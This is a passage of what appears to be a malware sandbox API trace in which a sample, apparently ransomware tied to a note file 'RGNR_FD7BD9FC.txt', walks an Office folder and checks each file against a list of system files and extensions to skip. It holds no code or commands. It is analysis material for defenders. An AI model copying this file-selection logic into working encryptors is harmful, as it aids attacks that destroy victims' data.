lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0066.689] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.689] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEODBC.DLL" | out: lpString1="ACEODBC.DLL") returned="ACEODBC.DLL" [0066.689] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned=".DLL" [0066.689] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.689] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="autorun.inf") returned -1 [0066.689] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="boot.ini") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="bootfont.bin") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="bootsect.bak") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="bootmgr") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="bootmgr.efi") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="bootmgfw.efi") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="desktop.ini") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="iconcache.db") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="ntldr") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="ntuser.dat") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="ntuser.dat.log") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="ntuser.ini") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="thumbs.db") returned -1 [0066.690] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.690] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.690] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.690] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0066.690] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.690] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEODDBS.DLL" | out: lpString1="ACEODDBS.DLL") returned="ACEODDBS.DLL" [0066.690] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned=".DLL" [0066.690] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="autorun.inf") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="boot.ini") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="bootfont.bin") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="bootsect.bak") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="bootmgr") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="bootmgr.efi") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="bootmgfw.efi") returned -1 [0066.690] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="desktop.ini") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="iconcache.db") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="ntldr") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="ntuser.dat") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="ntuser.dat.log") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="ntuser.ini") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="thumbs.db") returned -1 [0066.691] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.691] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.691] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.691] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0066.691] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.691] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEODEXL.DLL" | out: lpString1="ACEODEXL.DLL") returned="ACEODEXL.DLL" [0066.691] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned=".DLL" [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="autorun.inf") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="boot.ini") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="bootfont.bin") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="bootsect.bak") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="bootmgr") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="bootmgr.efi") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="bootmgfw.efi") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="desktop.ini") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="iconcache.db") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="ntldr") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="ntuser.dat") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="ntuser.dat.log") returned -1 [0066.691] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="ntuser.ini") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="thumbs.db") returned -1 [0066.692] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.692] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.692] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.692] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0066.692] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.692] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEODTXT.DLL" | out: lpString1="ACEODTXT.DLL") returned="ACEODTXT.DLL" [0066.692] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned=".DLL" [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="autorun.inf") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="boot.ini") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="bootfont.bin") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="bootsect.bak") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="bootmgr") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="bootmgr.efi") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="bootmgfw.efi") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="desktop.ini") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="iconcache.db") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="ntldr") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="ntuser.dat") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="ntuser.dat.log") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="ntuser.ini") returned -1 [0066.692] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="thumbs.db") returned -1 [0066.692] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.692] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.692] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.692] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0066.693] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.693] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEOLEDB.DLL" | out: lpString1="ACEOLEDB.DLL") returned="ACEOLEDB.DLL" [0066.693] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned=".DLL" [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="autorun.inf") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="boot.ini") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="bootfont.bin") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="bootsect.bak") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="bootmgr") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="bootmgr.efi") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="bootmgfw.efi") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="desktop.ini") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="iconcache.db") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="ntldr") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="ntuser.dat") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="ntuser.dat.log") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="ntuser.ini") returned -1 [0066.693] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="thumbs.db") returned -1 [0066.693] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.693] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.693] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.693] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0066.693] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.693] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACER3X.DLL" | out: lpString1="ACER3X.DLL") returned="ACER3X.DLL" [0066.693] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned=".DLL" [0066.693] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="autorun.inf") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="boot.ini") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="bootfont.bin") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="bootsect.bak") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="bootmgr") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="bootmgr.efi") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="bootmgfw.efi") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="desktop.ini") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="iconcache.db") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="ntldr") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="ntuser.dat") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="ntuser.dat.log") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="ntuser.ini") returned -1 [0066.694] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="thumbs.db") returned -1 [0066.694] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.694] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.694] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.694] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0066.694] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.694] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACERCLR.DLL" | out: lpString1="ACERCLR.DLL") returned="ACERCLR.DLL" [0066.694] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned=".DLL" [0066.694] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.694] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="autorun.inf") returned -1 [0066.694] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="boot.ini") returned -1 [0066.694] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="bootfont.bin") returned -1 [0066.694] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="bootsect.bak") returned -1 [0066.694] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="bootmgr") returned -1 [0066.695] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="bootmgr.efi") returned -1 [0066.695] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="bootmgfw.efi") returned -1 [0066.695] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="desktop.ini") returned -1 [0066.695] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="iconcache.db") returned -1 [0066.695] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="ntldr") returned -1 [0066.695] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="ntuser.dat") returned -1 [0066.695] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="ntuser.dat.log") returned -1 [0066.695] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="ntuser.ini") returned -1 [0066.695] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="thumbs.db") returned -1 [0066.695] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.695] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.695] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.695] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0066.695] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.695] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEREP.DLL" | out: lpString1="ACEREP.DLL") returned="ACEREP.DLL" [0066.695] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned=".DLL" [0066.695] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.695] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="autorun.inf") returned -1 [0066.695] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="boot.ini") returned -1 [0066.695] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="bootfont.bin") returned -1 [0066.695] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="bootsect.bak") returned -1 [0066.695] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="bootmgr") returned -1 [0066.695] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="bootmgr.efi") returned -1 [0066.695] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="bootmgfw.efi") returned -1 [0066.695] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="desktop.ini") returned -1 [0066.695] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="iconcache.db") returned -1 [0066.695] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="ntldr") returned -1 [0066.695] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="ntuser.dat") returned -1 [0066.696] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="ntuser.dat.log") returned -1 [0066.696] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="ntuser.ini") returned -1 [0066.696] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="thumbs.db") returned -1 [0066.696] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.696] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.696] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.696] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0066.696] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.696] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACETXT.DLL" | out: lpString1="ACETXT.DLL") returned="ACETXT.DLL" [0066.696] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned=".DLL" [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="autorun.inf") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="boot.ini") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="bootfont.bin") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="bootsect.bak") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="bootmgr") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="bootmgr.efi") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="bootmgfw.efi") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="desktop.ini") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="iconcache.db") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="ntldr") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="ntuser.dat") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="ntuser.dat.log") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="ntuser.ini") returned -1 [0066.696] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="thumbs.db") returned -1 [0066.696] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.696] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.697] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.697] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0066.697] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.697] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEWDAT.DLL" | out: lpString1="ACEWDAT.DLL") returned="ACEWDAT.DLL" [0066.697] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned=".DLL" [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="autorun.inf") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="boot.ini") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="bootfont.bin") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="bootsect.bak") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="bootmgr") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="bootmgr.efi") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="bootmgfw.efi") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="desktop.ini") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="iconcache.db") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="ntldr") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="ntuser.dat") returned -1 [0066.697] 